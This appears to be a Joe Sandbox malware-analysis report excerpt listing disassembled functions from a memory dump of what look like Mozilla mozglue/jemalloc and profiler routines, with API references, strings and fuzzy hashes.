Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 6492cc33b8617a8dc0952f19168b7e9be67907d4c8b69e7937841ec60197e2bc
Instruction ID: f8b69914d26a4096a2f70dfa98311bee10115152ab0ae9c0663a01be48d52b98
Opcode Fuzzy Hash: 6492cc33b8617a8dc0952f19168b7e9be67907d4c8b69e7937841ec60197e2bc
Instruction Fuzzy Hash: BFB2DC31A097518FD718CF29C590756BBE1BF85328F28E66CE86E8B795C730E844CB49

Function 6C665600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C665E79, 6C665E8F
expected a Time entry, xrefs: 6C665CB6
schema, xrefs: 6C66606D
data, xrefs: 6C666131
expected a Count entry, xrefs: 6C665AC3
ProfileBuffer parse error: %s, xrefs: 6C665AC8, 6C665CBB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 5dc6b4c5f6dd1ad356599ef58923dbd5723f4679b1f7097bbe7b35c77c9010dd
Instruction ID: c72c5405213e1a925b7359c75cd78ff59392aeb072651fc797e749d9fb5388f0
Opcode Fuzzy Hash: 5dc6b4c5f6dd1ad356599ef58923dbd5723f4679b1f7097bbe7b35c77c9010dd
Instruction Fuzzy Hash: 43924C71A083418FD724CF29C49179ABBE1BFC9308F14891DE59A9BB51DB30E809CB97

Function 6C627810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E744), ref: 6C627885
LeaveCriticalSection.KERNEL32(6C69E744), ref: 6C6278A5
EnterCriticalSection.KERNEL32(6C69E784), ref: 6C6278AD
LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C6278CD
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C6278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C62795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6279BB
LeaveCriticalSection.KERNEL32(?), ref: 6C627BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C627C82
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C627CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C627DAF

Strings

Dil, xrefs: 6C62787F
Dil, xrefs: 6C62789F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dil$Dil
API String ID: 759993129-4121813512
Opcode ID: 2da95b2ca7d893ee00034ab9ba57dc764add9371f36256bdadb1d222affb67ed
Instruction ID: 6e844b02c27826b72bd9ce9ed742fc98a669aae1a6f26bca3a7a9a08407c0b6c
Opcode Fuzzy Hash: 2da95b2ca7d893ee00034ab9ba57dc764add9371f36256bdadb1d222affb67ed
Instruction Fuzzy Hash: 35028471E0121A8FDB54CF29C984B99B7B5FF88318F1582AAD809A7751D734BE90CF84

Function 6C662E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C662ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C662EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C662F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C663214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C663242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6636BF

Strings

get , xrefs: 6C663205
set , xrefs: 6C6636EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C66378D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 17afa3f98342acb7c88ff6f5b1964cff10b393d319a8e9a0238b61ecb04a42e7
Instruction ID: cd3c63aa2586ae2e4b8dcfab27eba080c6ebb725b4dfb9fffbda61e209d27d14
Opcode Fuzzy Hash: 17afa3f98342acb7c88ff6f5b1964cff10b393d319a8e9a0238b61ecb04a42e7
Instruction Fuzzy Hash: D93260702083818FD724CF25C4906AEB7E2AFCA318F54892DE5D987B51DB31D94ACB5B

Function 6C657E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C657ECF, 6C658335
(pre-xul), xrefs: 6C657E88
schema, xrefs: 6C6581E3, 6C658311
data, xrefs: 6C658280, 6C6583E1
vil, xrefs: 6C658207

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vil
API String ID: 3412268980-660142014
Opcode ID: 3d773c4cbf27444debca387c572a5956e2f315a1d44f8b6ec759622646926b4a
Instruction ID: 2f8ebacf44ec9452cee8a63a290deb0cfa4a6ca89e86f845c20913c63ccbeb85
Opcode Fuzzy Hash: 3d773c4cbf27444debca387c572a5956e2f315a1d44f8b6ec759622646926b4a
Instruction Fuzzy Hash: D6E17FB1A043418BC710CF69884065BF7E9BFC9318F148A2DE899E7790DB75DD098B99

Function 6C675FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C676009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C676024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qal,?), ref: 6C676046
OutputDebugStringA.KERNEL32(?,Qal,?), ref: 6C676061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C676069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C676073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C676082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C69148E), ref: 6C676091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qal,00000000,?), ref: 6C6760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6760C4

Strings

Qal, xrefs: 6C675FFC, 6C676042, 6C676045, 6C6760B3

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qal
API String ID: 3835517998-1826713317
Opcode ID: 05363f8e1598bfcbd26fea0fd34b8218439eee54be77f7703ae5c5a7a58d4b4c
Instruction ID: e25a6d35a5e4ba4070c5ed916e7fe0d9c1b0ecb1a4b9f5b32d2d17c81ad5bc00
Opcode Fuzzy Hash: 05363f8e1598bfcbd26fea0fd34b8218439eee54be77f7703ae5c5a7a58d4b4c
Instruction Fuzzy Hash: 9921E5B1A002099FDF205F25DC49AAE7BB8FF85718F008428E81A97240CB75A549CFE9

Function 6C635E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2
memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C6361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C637652

Strings

MOZ_CRASH(), xrefs: 6C637BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C63730D
ewgl, xrefs: 6C635E9C, 6C635F22, 6C6361ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6372F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6372E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C637BCD, 6C637C1F, 6C637C34, 6C6380FD

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewgl
API String ID: 2613674957-2357695908
Opcode ID: b0914f71323938da7f114ca6aa28e2e846c946e938b49599717a5193a328a034
Instruction ID: a9e4e91f5df8ce7d20d6aaeb670b7075ec339e85eae4d571047b22f49958e196
Opcode Fuzzy Hash: b0914f71323938da7f114ca6aa28e2e846c946e938b49599717a5193a328a034
Instruction Fuzzy Hash: 88338B71605711CFD304CF28C690615BBE2BF85328F29E6ADE96E8B7A5C731E841CB49

Function 6C664820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C664DB8, 6C664DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C664D65
schema, xrefs: 6C6648C1
data, xrefs: 6C6649B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C664CAF
-%llu, xrefs: 6C664825
ProfileBuffer parse error: %s, xrefs: 6C664DD9
il, xrefs: 6C664F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C664D0A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free
String ID: il$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-977104444
Opcode ID: d7d3ec721b4fd69b2b6aea062ba2afd76fac47c4168d9fa72b9d5f80e13b7b26
Instruction ID: d8ba2d59029166fe68e54c0caa2ff5fc25fb9a597088e12a6cc17cf2da293f72
Opcode Fuzzy Hash: d7d3ec721b4fd69b2b6aea062ba2afd76fac47c4168d9fa72b9d5f80e13b7b26
Instruction Fuzzy Hash: 56722E71918B858BD362CF34C4513ABF7E5BFDA344F108B1EE4896B610EB709486DB46

Function 6C63D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D6A6
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D712
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C63D82C
<jemalloc>, xrefs: 6C63D827

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction ID: fbf6493061e0294955dabed399b31af046f7cfc73d5b7e5f5fe55d2c0fd3eea7
Opcode Fuzzy Hash: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction Fuzzy Hash: BC91D471A147118FD714CF29C59476AB7F1FB86318F14A92EE5AE87B80D730E844CB8A

Function 6C674EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C674EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674F2E
moz_xmalloc.MOZGLUE ref: 6C674F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C674F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6752E6
Sleep.KERNEL32(00000010), ref: 6C675481
free.MOZGLUE(?), ref: 6C675498

Strings

(, xrefs: 6C675250

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 21f983ec81493d56e9a8177425c57517d72bae0bc0fb07f4b01635159ebc0100
Instruction ID: 6131fed35422d788213676652ce80e382a320eb983c4c95d2353dd9e6a3d7ce5
Opcode Fuzzy Hash: 21f983ec81493d56e9a8177425c57517d72bae0bc0fb07f4b01635159ebc0100
Instruction Fuzzy Hash: 27F1E171A19B018FC716CF39C89062BB7F5AFD6384F058B2EF846A7650DB31D8428B95

Function 6C677030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C677046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C677060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C67707E

Part of subcall function 6C6281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C677096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C67709C
LocalFree.KERNEL32(?), ref: 6C6770AA

Strings

(null), xrefs: 6C67706A, 6C677083
### ERROR: %s: %s, xrefs: 6C677087

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 5c3946c5a912ee01b091377d1e8009cb06363a71243b256701dcb1b7382ac2f1
Instruction ID: 3d3aef60cc3c478ad0e14e918e2a158ea59f131c4e598ccb016977b2409b2afe
Opcode Fuzzy Hash: 5c3946c5a912ee01b091377d1e8009cb06363a71243b256701dcb1b7382ac2f1
Instruction Fuzzy Hash: B101B9B2A00109AFDF145F65DC4ADAF7BBCEF89255F010425FA06E3241E6716914CBA9

Function 6C639E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C639EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C639F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C639F34
LeaveCriticalSection.KERNEL32(?), ref: 6C63A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C63A8B1, 6C63A8D4, 6C63A8EF

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 4d03703bec4fee641e0dd73d965ee6d931fc05ababd6d348caf2b6792f9a9f70
Instruction ID: 4e519011bd7994115dd4a0caf97f458679753cd6faf7b1b8f896c89f64357dc0
Opcode Fuzzy Hash: 4d03703bec4fee641e0dd73d965ee6d931fc05ababd6d348caf2b6792f9a9f70
Instruction Fuzzy Hash: 52728D72A056218FDB04CF68C940615FBE1FF85328F29E76DE8698B792D335E841DB84

Function 6C662C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C662C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C662C61

Part of subcall function 6C614DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
Part of subcall function 6C614DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C662C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C662E2D

Part of subcall function 6C6281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6281DE

Strings

(root), xrefs: 6C66354F
expected a Time entry, xrefs: 6C662E36
ProfileBuffer parse error: %s, xrefs: 6C662E3B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction ID: dab938df6cda05c5aa2675c45cccac0f78f51cbb0cd2ccf955e8ec4a03326b9f
Opcode Fuzzy Hash: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction Fuzzy Hash: C291A1706087418FC724CF26C49469EB7E1AFCA358F50892DE59A8BB90DB30D949CB5F

Function 6C679E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C679F3D
__aulldiv.LIBCMT ref: 6C679F77
__aullrem.LIBCMT ref: 6C679F8C
__aulldiv.LIBCMT ref: 6C67A023

Strings

NaN, xrefs: 6C679EAB
-Infinity, xrefs: 6C679E60, 6C679E7B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 58c21701b9c8b28a2dde70333554cc2c798edb6d231f815afeda91b4df1d5ba0
Instruction ID: bc31b566f2df99a03a611b72df751531f781a219c4db757812d67e5d49de4dfa
Opcode Fuzzy Hash: 58c21701b9c8b28a2dde70333554cc2c798edb6d231f815afeda91b4df1d5ba0
Instruction Fuzzy Hash: DBC1B231E043198BDB24CFA8C8507DEB7B6EF89308F144929D405ABB81D774E949CBA9

Function 6C61D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C61DC7F
@, xrefs: 6C61DAF6
, xrefs: 6C61DA88
1, xrefs: 6C61DBDD
8, xrefs: 6C61DC08
-, xrefs: 6C61D7DD
0, xrefs: 6C61D852
9, xrefs: 6C61DE7F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
